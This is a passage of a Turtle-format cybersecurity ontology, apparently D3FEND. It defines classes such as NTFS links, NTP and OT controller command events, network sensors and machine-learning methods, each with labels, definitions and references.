Multilayer perceptron. Wikipedia. [Link](https://en.wikipedia.org/wiki/Multilayer_perceptron).""" ;
    rdfs:subClassOf d3f:ArtificialNeuralNetClassification .

d3f:MultimediaDocumentFile a owl:Class ;
    rdfs:label "Multimedia Document File" ;
    d3f:definition "Digital video files which often contain audio." ;
    rdfs:seeAlso <https://dbpedia.org/page/Multimedia> ;
    rdfs:subClassOf d3f:DocumentFile .

d3f:MultimediaFile a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Multimedia File" ;
    d3f:contains d3f:DigitalMultimedia ;
    d3f:definition "A file that contains digital multimedia." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:contains ;
            owl:someValuesFrom d3f:DigitalMultimedia ],
        d3f:File .

d3f:MultipleRegressionLearning a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Multiple Regression Learning" ;
    d3f:d3fend-id "D3A-MRL" ;
    d3f:definition "A supervised learning method that builds a multiple regression model using training data." ;
    d3f:kb-article """## References
Yale University Department of Statistics. (1997-98). Linear regression and multivariate analysis. [Link](http://www.stat.yale.edu/Courses/1997-98/101/linmult.htm)""" ;
    rdfs:seeAlso d3f:MultipleRegression ;
    rdfs:subClassOf d3f:RegressionAnalysisLearning .

d3f:NIST_SP_800-53_R3 a d3f:NISTSP800-53ControlCatalog,
        owl:NamedIndividual ;
    rdfs:label "NIST SP 800-53 R3" ;
    d3f:archived-at "https://csrc.nist.gov/publications/detail/sp/800-53/rev-4/archive/2013-04-30"^^xsd:anyURI ;
    d3f:version 3 ;
    rdfs:seeAlso <https://csrc.nist.gov/publications/detail/sp/800-53/rev-4/archive/2013-04-30> .

d3f:NIST_SP_800-53_R4 a d3f:NISTSP800-53ControlCatalog,
        owl:NamedIndividual ;
    rdfs:label "NIST SP 800-53 R4" ;
    d3f:archived-at "https://csrc.nist.gov/publications/detail/sp/800-53/rev-4/archive/2013-04-30"^^xsd:anyURI ;
    d3f:version 4 ;
    rdfs:seeAlso <https://csrc.nist.gov/publications/detail/sp/800-53/rev-4/archive/2015-01-22> .

d3f:NTFSHardLink a owl:Class ;
    rdfs:label "NTFS Hard Link" ;
    d3f:definition "An NTFS hard link points to another file, and files share the same MFT entry (inode), in the same filesystem." ;
    rdfs:isDefinedBy <http://dbpedia.org/resource/NTFS_links> ;
    rdfs:seeAlso <http://dbpedia.org/resource/Hard_link> ;
    rdfs:subClassOf d3f:HardLink,
        d3f:NTFSLink .

d3f:NTFSJunctionPoint a owl:Class ;
    rdfs:label "NTFS Junction Point" ;
    d3f:definition "NTFS junction points are are similar to NTFS symlinks but are defined only for directories. Only accepts local absolute paths." ;
    rdfs:isDefinedBy <http://dbpedia.org/resource/NTFS_links> ;
    rdfs:subClassOf d3f:NTFSLink,
        d3f:SymbolicLink ;
    skos:altLabel "Junction Point" .

d3f:NTFSSymbolicLink a owl:Class ;
    rdfs:label "NTFS Symbolic Link" ;
    d3f:definition "An NTFS symbolic link records the path of another file that the links contents should show. Can accept relative paths. SMB networking (UNC path) and directory support added in NTFS 3.1." ;
    rdfs:isDefinedBy <http://dbpedia.org/resource/NTFS_links> ;
    rdfs:subClassOf d3f:NTFSLink,
        d3f:SymbolicLink ;
    skos:altLabel "NTFS Symlink" .

d3f:NTPBroadcastEvent a owl:Class ;
    rdfs:label "NTP Broadcast Event" ;
    d3f:definition "An event where an NTP server broadcasts time synchronization messages to multiple clients simultaneously, enabling synchronization without individual request-response cycles." ;
    rdfs:subClassOf d3f:NTPEvent .

d3f:NTPControlMessageEvent a owl:Class ;
    rdfs:label "NTP Control Message Event" ;
    d3f:definition "An event where an NTP client or server exchanges control messages used for diagnostic, monitoring, or administrative management of the NTP protocol, rather than time synchronization." ;
    rdfs:subClassOf d3f:NTPEvent .

d3f:NTPServerResponseEvent a owl:Class ;
    rdfs:label "NTP Server Response Event" ;
    d3f:definition "An event where an NTP server sends time synchronization data to a client, enabling the client to align its local clock with the server's reference time." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:preceded-by ;
            owl:someValuesFrom d3f:NTPClientSyncEvent ],
        d3f:NTPEvent .

d3f:NTPSymmetricPassiveExchangeEvent a owl:Class ;
    rdfs:label "NTP Symmetric Passive Exchange Event" ;
    d3f:definition "An event where an NTP peer operating in symmetric passive mode responds to clock synchronization messages initiated by a symmetric active peer, facilitating mutual timekeeping." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:preceded-by ;
            owl:someValuesFrom d3f:NTPSymmetricActiveExchangeEvent ],
        d3f:NTPEvent .

d3f:NaiveBayesClassifier a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Naive Bayes Classifier" ;
    d3f:d3fend-id "D3A-NBC" ;
    d3f:definition "The Naïve Bayes classifier is a supervised machine learning algorithm, which is used for classification tasks, like text classification. It is also part of a family of generative learning algorithms, meaning that it seeks to model the distribution of inputs of a given class or category." ;
    d3f:kb-article """## References
Naive Bayes. IBM. [Link](https://www.ibm.com/topics/naive-bayes?mhsrc=ibmsearch_a&mhq=naive%20bayes).""" ;
    rdfs:subClassOf d3f:Classification .

d3f:NetworkAudioStreamingResource a owl:Class ;
    rdfs:label "Network Audio Streaming Resource" ;
    d3f:definition "A server that provides digital audio media content to users." ;
    rdfs:subClassOf d3f:NetworkMediaStreamingResource .

d3f:NetworkDirectoryResource a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Network Directory Resource" ;
    d3f:contains d3f:Directory ;
    d3f:definition "A directory resource made available from one host to other hosts on a computer network." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:contains ;
            owl:someValuesFrom d3f:Directory ],
        d3f:NetworkFileShareResource .

d3f:NetworkFlowSensor a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Network Flow Sensor" ;
    d3f:definition "Monitors network traffic and produces summaries of data flows traversing the network." ;
    d3f:monitors d3f:NetworkFlow ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:monitors ;
            owl:someValuesFrom d3f:NetworkFlow ],
        d3f:NetworkSensor .

d3f:NetworkLink a owl:Class ;
    rdfs:label "Network Link" ;
    d3f:definition "A network link is a link within the network layer, which is responsible for packet forwarding including routing through intermediate routers." ;
    d3f:synonym "Layer-3 Link",
        "Network Layer Link" ;
    rdfs:seeAlso <https://dbpedia.org/resource/Network_layer>,
        <https://www.techtarget.com/searchnetworking/definition/Network-layer> ;
    rdfs:subClassOf d3f:LogicalLink .

d3f:NetworkPrinter a owl:Class ;
    rdfs:label "Network Printer" ;
    d3f:definition "In computing, a network printer is a device that can be accessed over a network which makes a persistent representation of graphics or text, usually on paper. While most output is human-readable, bar code printers are an example of an expanded use for printers. The different types of printers include 3D printer, inkjet printer, laser printer, thermal printer, etc.  Note that not all printers are networked and the digital information to be printed must be passed either by removable media or as directly connecting the printer to a computer (e.g., by USB.)" ;
    rdfs:isDefinedBy <http://dbpedia.org/resource/Printer_(computing)> ;
    rdfs:subClassOf d3f:SharedComputer .

d3f:NetworkProtocolAnalyzer a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Network Protocol Analyzer" ;
    d3f:definition "Monitors and parses network protocols to extract values from various network protocol layers." ;
    d3f:monitors d3f:NetworkTraffic ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:monitors ;
            owl:someValuesFrom d3f:NetworkTraffic ],
        d3f:NetworkSensor .

d3f:NetworkScanner a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Network Scanner" ;
    d3f:definition "A network scanner is a computer program used to retrieve usernames and info on groups, shares, and services of networked computers. This type of program scans networks for vulnerabilities in the security of that network. If there is a vulnerability with the security of the network, it will send a report back to a hacker who may use this info to exploit that network glitch to gain entry to the network or for other malicious activities. Ethical hackers often also use the information to remove the glitches and strengthen their network." ;
    d3f:monitors d3f:Network ;
    rdfs:isDefinedBy <https://dbpedia.org/page/Network_enumeration> ;
    rdfs:seeAlso <https://en.wikipedia.org/wiki/Network_enumeration#Software> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:monitors ;
            owl:someValuesFrom d3f:Network ],
        d3f:CyberSensor ;
    skos:altLabel "Network Enumerator" .

d3f:NetworkTrafficAnalysisSoftware a owl:Class ;
    rdfs:label "Network Traffic Analysis Software" ;
    d3f:definition "A packet analyzer, also known as packet sniffer, protocol analyzer, or network analyzer, is a computer program or computer hardware such as a packet capture appliance, that can intercept and log traffic that passes over a computer network or part of a network.\"" ;
    d3f:synonym "Network Sniffer" ;
    rdfs:subClassOf d3f:DeveloperApplication .

d3f:NetworkVideoStreamingResource a owl:Class ;
    rdfs:label "Network Video Streaming Resource" ;
    d3f:definition "A server that provides digital video media content to users." ;
    rdfs:subClassOf d3f:NetworkMediaStreamingResource .

d3f:Non-ParametricTests a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Non-Parametric Tests" ;
    d3f:d3fend-id "D3A-NPT" ;
    d3f:definition "A non-parametric test relies is used when the underlying distribution of data is non-symmetric (non-normal distribution)." ;
    d3f:kb-article """## References
Newcastle University. (n.d.). Parametric Hypothesis Tests. [Link](https://www.ncl.ac.uk/webtemplate/ask-assets/external/maths-resources/psychology/non-parametric-hypothesis-tests.html)""" ;
    rdfs:subClassOf d3f:HypothesisTesting .

d3f:Non-monotonicLogic a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Non-monotonic Logic" ;
    d3f:d3fend-id "D3A-NML" ;
    d3f:definition "Non-monotonic logic is a formal logic whose conclusion relation is not monotonic. In other words, non-monotonic logics are devised to capture and represent defeasible inferences (cf. defeasible reasoning), i.e., a kind of inference in which reasoners draw tentative conclusions, enabling reasoners to retract their conclusion(s) based on further evidence." ;
    d3f:kb-article """## References
1. Non-monotonic logic. (2023, June 1). In _Wikipedia_. [Link](https://en.wikipedia.org/wiki/Non-monotonic_logic)""" ;
    rdfs:subClassOf d3f:SymbolicAI .

d3f:NonlinearRegressionLearning a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Nonlinear Regression Learning" ;
    d3f:d3fend-id "D3A-NRL" ;
    d3f:definition "A supervised learning method that builds a non-linear regression model using training data." ;
    d3f:kb-article """## References
Wikipedia. (n.d.). Nonlinear regression. [Link](https://en.wikipedia.org/wiki/Nonlinear_regression)""" ;
    rdfs:seeAlso d3f:NonlinearRegression ;
    rdfs:subClassOf d3f:RegressionAnalysisLearning .

d3f:OTAbortCommandEvent a owl:Class ;
    rdfs:label "OT Abort Command Event" ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:preceded-by ;
            owl:someValuesFrom d3f:OTRunCommandEvent ],
        [ a owl:Restriction ;
            owl:onProperty d3f:has-participant ;
            owl:someValuesFrom d3f:OTAbortCommand ],
        [ a owl:Restriction ;
            owl:onProperty d3f:has-participant ;
            owl:someValuesFrom d3f:OTControllerOperatingMode ],
        d3f:OTModifyDeviceOperatingModeCommandEvent .

d3f:OTAlarmMessageEvent a owl:Class ;
    rdfs:label "OT Alarm Message Event" ;
    d3f:definition "Report danger, hazards, or serious errors." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:has-participant ;
            owl:someValuesFrom d3f:OTAlarmMessage ],
        d3f:OTDiagnosticsMessageEvent .

d3f:OTChangeControlProgramCommandEvent a owl:Class ;
    rdfs:label "OT Change Control Program Command Event" ;
    d3f:definition "Commands a remote device to modify an existing control program." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:has-participant ;
            owl:someValuesFrom d3f:OTChangeControlProgramCommand ],
        [ a owl:Restriction ;
            owl:onProperty d3f:has-participant ;
            owl:someValuesFrom d3f:OTControlProgram ],
        d3f:OTModifyControlProgramCommandEvent .

d3f:OTChangeDataCommandEvent a owl:Class ;
    rdfs:label "OT Change Data Command Event" ;
    d3f:definition "OT command that modifies existing data on a remote device." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:has-participant ;
            owl:someValuesFrom d3f:OTChangeDataCommand ],
        d3f:OTWriteCommandEvent .

d3f:OTControlCommandEvent a owl:Class ;
    rdfs:label "OT Control Command Event" ;
    d3f:definition "Command and control the managed process." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:has-participant ;
            owl:someValuesFrom d3f:OTControlCommand ],
        d3f:OTProcessDataCommandEvent .

d3f:OTControlVariable a owl:Class ;
    rdfs:label "OT Control Variable" ;
    d3f:definition "A control variable is the measurement of the physical condition of the device that influences the Process Variables." ;
    rdfs:isDefinedBy "https://isagca.org/hubfs/2023%20ISA%20Website%20Redesigns/ISAGCA/PDFs/Industrial%20Cybersecurity%20Knowledge%20FINAL.pdf?hsLang=en" ;
    rdfs:subClassOf d3f:OTLogicVariable ;
    skos:example "If the Set Point of a temperature control system for a residential dwelling is 72 degrees, and the Process Variable is 82 degrees, the Control Variable for the air conditioner should be 'on.'" .

d3f:OTCreateDataCommandEvent a owl:Class ;
    rdfs:label "OT Create Data Command Event" ;
    d3f:definition "OT command that creates data on a remote device." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:has-participant ;
            owl:someValuesFrom d3f:OTCreateDataCommand ],
        d3f:OTWriteCommandEvent .

d3f:OTCreateNewControlProgramCommandEvent a owl:Class ;
    rdfs:label "OT Create New Control Program Command Event" ;
    d3f:definition "Commands a remote device to create an control program." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:has-participant ;
            owl:someValuesFrom d3f:OTControlProgram ],
        [ a owl:Restriction ;
            owl:onProperty d3f:has-participant ;
            owl:someValuesFrom d3f:OTCreateNewControlProgramCommand ],
        d3f:OTModifyControlProgramCommandEvent .

d3f:OTDebugCommandEvent a owl:Class ;
    rdfs:label "OT Debug Command Event" ;
    d3f:definition "Investigate or analyze the current state of the system." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:has-participant ;
            owl:someValuesFrom d3f:OTDebugCommand ],
        d3f:OTDiagnosticsMessageEvent .

d3f:OTDeleteControlProgramCommandEvent a owl:Class ;
    rdfs:label "OT Delete Control Program Command Event" ;
    d3f:definition "Commands a remote device to remove an existing control program." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:has-participant ;
            owl:someValuesFrom d3f:OTDeleteControlProgramCommand ],
        [ a owl:Restriction ;
            owl:onProperty d3f:has-participant ;
            owl:someValuesFrom d3f:OTControlProgram ],
        d3f:OTModifyControlProgramCommandEvent .

d3f:OTDeleteDataCommandEvent a owl:Class ;
    rdfs:label "OT Delete Data Command Event" ;
    d3f:definition "OT command that removes data on a remote device." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:has-participant ;
            owl:someValuesFrom d3f:OTDeleteDataCommand ],
        d3f:OTWriteCommandEvent .

d3f:OTDeviceDescriptionMessageEvent a owl:Class ;
    rdfs:label "OT Device Description Message Event" ;
    d3f:definition "Describe features, abilities, or performance of system components." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:has-participant ;
            owl:someValuesFrom d3f:OTDeviceDescriptionMessage ],
        d3f:OTDeviceManagementMessageEvent .

d3f:OTDeviceFirmwareCommandEvent a owl:Class ;
    rdfs:label "OT Device Firmware Command Event" ;
    d3f:definition "Interact with the software responsible for low-level control of the system." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:has-participant ;
            owl:someValuesFrom d3f:OTDeviceFirmwareCommand ],
        d3f:OTDeviceManagementMessageEvent .

d3f:OTDeviceIdentificationMessageEvent a owl:Class ;
    rdfs:label "OT Device Identification Message Event" ;
    d3f:definition "Identify devices on the network." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:has-participant ;
            owl:someValuesFrom d3f:OTDeviceIdentificationMessage ],
        d3f:OTDeviceManagementMessageEvent .

d3f:OTDisconnectRemoteConnectionCommandEvent a owl:Class ;
    rdfs:label "OT Disconnect Remote Connection Command Event" ;
    d3f:definition "The Disconnect Request message is sent to the message receiver to indicate that the transmitter is terminating its TCP socket." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:has-participant ;
            owl:someValuesFrom d3f:OTDisconnectRemoteConnectionCommand ],
        [ a owl:Restriction ;
            owl:onProperty d3f:preceded-by ;
            owl:someValuesFrom d3f:OTEstablishRemoteConnectionCommandEvent ],
        d3f:OTConnectionCommandEvent .

d3f:OTDownloadControlProgramCommandEvent a owl:Class ;
    rdfs:label "OT Download Control Program Command Event" ;
    d3f:definition "Commands a remote device to download a control program." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:has-participant ;
            owl:someValuesFrom d3f:OTControlProgram ],
        [ a owl:Restriction ;
            owl:onProperty d3f:has-participant ;
            owl:someValuesFrom d3f:OTDownloadControlProgramCommand ],
        d3f:OTModifyControlProgramCommandEvent .

d3f:OTErrorMessageEvent a owl:Class ;
    rdfs:label "OT Error Message Event" ;
    d3f:definition "An anticipated, reproducible defect occurred within the system." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:has-participant ;
            owl:someValuesFrom d3f:OTErrorMessage ],
        d3f:OTDiagnosticsMessageEvent .

d3f:OTExceptionMessageEvent a owl:Class ;
    rdfs:label "OT Exception Message Event" ;
    d3f:definition "An unknown or anomalous condition occurred in the system." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:has-participant ;
            owl:someValuesFrom d3f:OTExceptionMessage ],
        d3f:OTDiagnosticsMessageEvent .

d3f:OTHumanMachineInterface a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "OT Human Machine Interface" ;
    d3f:contains d3f:HMIApplication,
        d3f:InputDevice,
        d3f:OutputDevice ;
    d3f:definition "Human-Machine Interfaces (HMIs) are systems used by an operator to monitor the real-time status of an operational process and to perform necessary control functions, including the adjustment of device parameters." ;
    d3f:modifies d3f:OTLogicVariable ;
    d3f:reads d3f:OTProcessDataHistorian ;
    d3f:synonym "HMI" ;
    rdfs:seeAlso <https://www.rockwellautomation.com/en-us/products/details.2711P-T12W21D8S.html#documentation> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:contains ;
            owl:someValuesFrom d3f:OutputDevice ],
        [ a owl:Restriction ;
            owl:onProperty d3f:reads ;
            owl:someValuesFrom d3f:OTProcessDataHistorian ],
        [ a owl:Restriction ;
            owl:onProperty d3f:modifies ;
            owl:someValuesFrom d3f:OTLogicVariable ],
        [ a owl:Restriction ;
            owl:onProperty d3f:contains ;
            owl:someValuesFrom d3f:InputDevice ],
        [ a owl:Restriction ;
            owl:onProperty d3f:contains ;
            owl:someValuesFrom d3f:HMIApplication ],
        d3f:OTEmbeddedComputer .

d3f:OTModeSwitch a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "OT Mode Switch" ;
    d3f:controls d3f:OTControllerOperatingMode ;
    d3f:definition "Keyswitch or mode switch is the mechanism for changing the operating mode of an OT controller or device." ;
    d3f:synonym "Mode Switch",
        "Programming Key Switch" ;
    rdfs:comment "An OT Mode Switch is a dedicated mechanism, implemented as either a physical keyswitch or a software control, that permits authorized users to transition an OT controller between its operating modes." ;
    rdfs:seeAlso <https://isagca.org/hubfs/2023%20ISA%20Website%20Redesigns/ISAGCA/PDFs/Industrial%20Cybersecurity%20Knowledge%20FINAL.pdf?hsLang=en>,
        <https://www.dragos.com/blog/industry-news/value-of-plc-key-switch-monitoring/> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:controls ;
            owl:someValuesFrom d3f:OTControllerOperatingMode ],
        d3f:ApplicationConfiguration .

d3f:OTNetwork a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "OT Network" ;
    d3f:contains d3f:OTEmbeddedComputer ;
    d3f:definition "A computer network which connects OT devices." ;
    d3f:may-contain d3f:OTEngineeringWorkstation ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:may-contain ;
            owl:someValuesFrom d3f:OTEngineeringWorkstation ],
        [ a owl:Restriction ;
            owl:onProperty d3f:contains ;
            owl:someValuesFrom d3f:OTEmbeddedComputer ],
        d3f:IntranetNetwork .

d3f:OTPauseCommandEvent a owl:Class ;
    rdfs:label "OT Pause Command Event" ;
    d3f:definition "Commands a device to pause a service/program." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:has-participant ;
            owl:someValuesFrom d3f:OTControllerOperatingMode ],
        [ a owl:Restriction ;
            owl:onProperty d3f:has-participant ;
            owl:someValuesFrom d3f:OTPauseCommand ],
        [ a owl:Restriction ;
            owl:onProperty d3f:preceded-by ;
            owl:someValuesFrom d3f:OTRunCommandEvent ],
        d3f:OTModifyDeviceOperatingModeCommandEvent .

d3f:OTProgramModeCommandEvent a owl:Class ;
    rdfs:label "OT Program Mode Command Event" ;
    d3f:definition "Command that places the controller in a mode capable of reprogramming logic. This may or may not stop the program." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:has-participant ;
            owl:someValuesFrom d3f:OTProgramModeCommand ],
        [ a owl:Restriction ;
            owl:onProperty d3f:has-participant ;
            owl:someValuesFrom d3f:OTControllerOperatingMode ],
        d3f:OTModifyDeviceOperatingModeCommandEvent .

d3f:OTProprietaryMessageEvent a owl:Class ;
    rdfs:label "OT Proprietary Message Event" ;
    d3f:definition "Vendor specific and may not be publicly documented, or values left for device specific configuration." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:has-participant ;
            owl:someValuesFrom d3f:OTProprietaryMessage ],
        d3f:OTEvent .

d3f:OTReadDeviceConfigurationCommandEvent a owl:Class ;
    rdfs:label "OT Read Device Configuration Command Event" ;
    d3f:definition "Read device configuration." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:has-participant ;
            owl:someValuesFrom d3f:OTReadDeviceConfigurationCommand ],
        d3f:OTDeviceConfigurationCommandEvent .

d3f:OTReadFileCommandEvent a owl:Class ;
    rdfs:label "OT Read File Command Event" ;
    d3f:definition "Reads data in specified chuncks or the contents of a specified file stored in the file device connected to the PC." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:has-participant ;
            owl:someValuesFrom d3f:File ],
        [ a owl:Restriction ;
            owl:onProperty d3f:has-participant ;
            owl:someValuesFrom d3f:OTReadFileCommand ],
        d3f:OTReadCommandEvent .

d3f:OTReadTimeCommandEvent a owl:Class ;
    rdfs:label "OT Read Time Command Event" ;
    d3f:definition "Read timing mechanisms." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:has-participant ;
            owl:someValuesFrom d3f:OTReadTimeCommand ],
        d3f:OTTimeCommandEvent .

d3f:OTReadValueCommandEvent a owl:Class ;
    rdfs:label "OT Read Value Command Event" ;
    d3f:definition "Reads the contents of the specified number of consecutive parameter areawords starting from the specified word." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:has-participant ;
            owl:someValuesFrom d3f:OTLogicVariable ],
        [ a owl:Restriction ;
            owl:onProperty d3f:has-participant ;
            owl:someValuesFrom d3f:OTReadValueCommand ],
        d3f:OTReadCommandEvent .

d3f:OTRemoteModeCommandEvent a owl:Class ;
    rdfs:label "OT Remote Mode Command Event" ;
    d3f:definition "Command that places the controller in a mode capable of receiving read/write communication from a networked entity." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:has-participant ;
            owl:someValuesFrom d3f:NetworkTraffic ],
        [ a owl:Restriction ;
            owl:onProperty d3f:has-participant ;
            owl:someValuesFrom d3f:OTControllerOperatingMode ],
        [ a owl:Restriction ;
            owl:onProperty d3f:has-participant ;
            owl:someValuesFrom d3f:OTRemoteModeCommand ],
        d3f:OTModifyDeviceOperatingModeCommandEvent .

d3f:OTScanTime a owl:Class ;
    rdfs:label "OT Scan Time" ;
    d3f:definition "An OT controller system variable that tracks the measured time it takes to read input status, apply logic, and write output values." ;
    rdfs:subClassOf d3f:ApplicationScanTime .

d3f:OTSecurityCommandEvent a owl:Class ;
    rdfs:label "OT Security Command Event" ;
    d3f:definition "Ensure confidentiality, integrity, or availability of system information." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:has-participant ;
            owl:someValuesFrom d3f:OTSecurityCommand ],
        d3f:OTNetworkManagementCommandEvent .

d3f:OTSetTimeCommandEvent a owl:Class ;
    rdfs:label "OT Set Time Command Event" ;
    d3f:definition "Set timing mechanisms." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:has-participant ;
            owl:someValuesFrom d3f:OTSetTimeCommand ],
        d3f:OTTimeCommandEvent .

d3f:OTStopCommandEvent a owl:Class ;
    rdfs:label "OT Stop Command Event" ;
    d3f:definition "Commands a device to stop a service/program." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:has-participant ;
            owl:someValuesFrom d3f:OTControllerOperatingMode ],
        [ a owl:Restriction ;
            owl:onProperty d3f:has-participant ;
            owl:someValuesFrom d3f:OTStopCommand ],
        [ a owl:Restriction ;
            owl:onProperty d3f:preceded-by ;
            owl:someValuesFrom d3f:OTRunCommandEvent ],
        d3f:OTModifyDeviceOperatingModeCommandEvent .

d3f:OTSynchronizeTimeCommandEvent a owl:Class ;
    rdfs:label "OT Synchronize Time Command Event" ;
    d3f:definition "Used to align timing mechanisms." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:has-participant ;
            owl:someValuesFrom d3f:OTSynchronizeTimeCommand ],
        d3f:OTTimeCommandEvent .

d3f:OTTestCommandEvent a owl:Class ;
    rdfs:label "OT Test Command Event" ;
    d3f:definition "Commands a  device to run a program in Test mode." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:has-participant ;
            owl:someValuesFrom d3f:OTControllerOperatingMode ],
        [ a owl:Restriction ;
            owl:onProperty d3f:has-participant ;
            owl:someValuesFrom d3f:OTTestCommand ],
        d3f:OTModifyDeviceOperatingModeCommandEvent .

d3f:OTTransportConfigurationCommandEvent a owl:Class ;
    rdfs:label "OT Transport Configuration Command Event" ;
    d3f:definition "Configure transport settings for a communication channel." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:has-participant ;
            owl:someValuesFrom d3f:OTTransportConfigurationCommand ],
        d3f:OTNetworkManagementCommandEvent .

d3f:OWL a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "OWL" ;
    d3f:d3fend-id "D3A-OWL" ;
    d3f:definition "The Web Ontology Language (OWL) is a family of knowledge representation languages for authoring ontologies." ;
    d3f:kb-article """## How it works
Ontologies are a formal way to describe taxonomies and classification networks, essentially defining the structure of knowledge for various domains: the nouns representing classes of objects and the verbs representing relations between the objects.

The OWL languages are characterized by formal semantics. They are built upon the World Wide Web Consortium's (W3C) standard for objects called the Resource Description Framework (RDF). OWL classes correspond to description logic (DL) _concepts_.  OWL properties to DL _roles_, and individuals are named the same way in OWL and other DLs.

## References
1. Web Ontology Language. (2023, April 23). In _Wikipedia_. [Link](https://en.wikipedia.org/wiki/Web_Ontology_Language)""" ;
    d3f:synonym "Web Ontology Language" ;
    rdfs:subClassOf d3f:DescriptionLogic .

d3f:OffensiveAction a owl:Class ;
    rdfs:label "Offensive Action" ;
    rdfs:subClassOf d3f:CyberAction .

d3f:Open-sourceDeveloper a owl:Class ;
    rdfs:label "Open-source Developer" ;
    d3f:definition "An open-source developer contributes to the development, maintenance, or improvement of open-source projects." ;
    rdfs:subClassOf d3f:ProductDeveloper .

d3f:OperatingSystemConfigurationModificationEvent a owl:Class ;
    rdfs:label "Operating System Configuration Modification Event" ;
    d3f:definition "An event that alters persistent operating-system configuration resources such as kernel options, registry keys, service definitions, or security policies; affecting system startup, hardware interfaces, or global security enforcement." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:has-participant ;
            owl:someValuesFrom d3f:OperatingSystemConfiguration ],
        d3f:ConfigurationModificationEvent .

d3f:OperatingSystemPackagingTool a owl:Class ;
    rdfs:label "Operating System Packaging Tool" ;
    d3f:definition "A software packaging tool oriented on building a software package for a particular operating system (e.g. rpmbuild.)" ;
    rdfs:subClassOf d3f:SoftwarePackagingTool .

d3f:OperationalEvent a owl:Class ;
    rdfs:label "Operational Event" ;
    d3f:definition "An Operational Event is an action or occurrence within an organization's mission or business operations that happens over a period of time." ;
    d3f:synonym "Business Event",
        "Business Process",
        "Mission Event",
        "Operational Activity Event",
        "Operational Occurrence" ;
    rdfs:seeAlso <https://en.wikipedia.org/wiki/Event_(BPMN)>,
        <https://en.wikipedia.org/wiki/Unified_Architecture_Framework>,
        <https://www.omg.org/spec/UAF/> ;
    rdfs:subClassOf d3f:Action .

d3f:OperationsCenterComputer a owl:Class ;
    rdfs:label "Operations Center Computer" ;
    d3f:definition "Mainframe computers or mainframes (colloquially referred to as \"big iron\") are computers used primarily by large organizations for critical applications; bulk data processing, such as census, industry and consumer statistics, and enterprise resource planning; and transaction processing. They are larger and have more processing power than some other classes of computers: minicomputers, servers, workstations, and personal computers." ;
    rdfs:isDefinedBy <http://dbpedia.org/resource/Mainframe_computer> ;
    rdfs:seeAlso <http://dbpedia.org/resource/Time-sharing> ;
    rdfs:subClassOf d3f:SharedComputer ;
    skos:altLabel "Mainframe" .

d3f:OpticalDiscImage a owl:Class ;
    rdfs:label "Optical Disc Image" ;
    d3f:definition "An optical disc image (or ISO image, from the ISO 9660 file system used with CD-ROM media) is a disk image that contains everything that would be written to an optical disc, disk sector by disc sector, including the optical disc file system." ;
    rdfs:isDefinedBy <https://en.wikipedia.org/wiki/Optical_disc_image> ;
    rdfs:seeAlso <https://dbpedia.org/resource/Optical_disc_image> ;
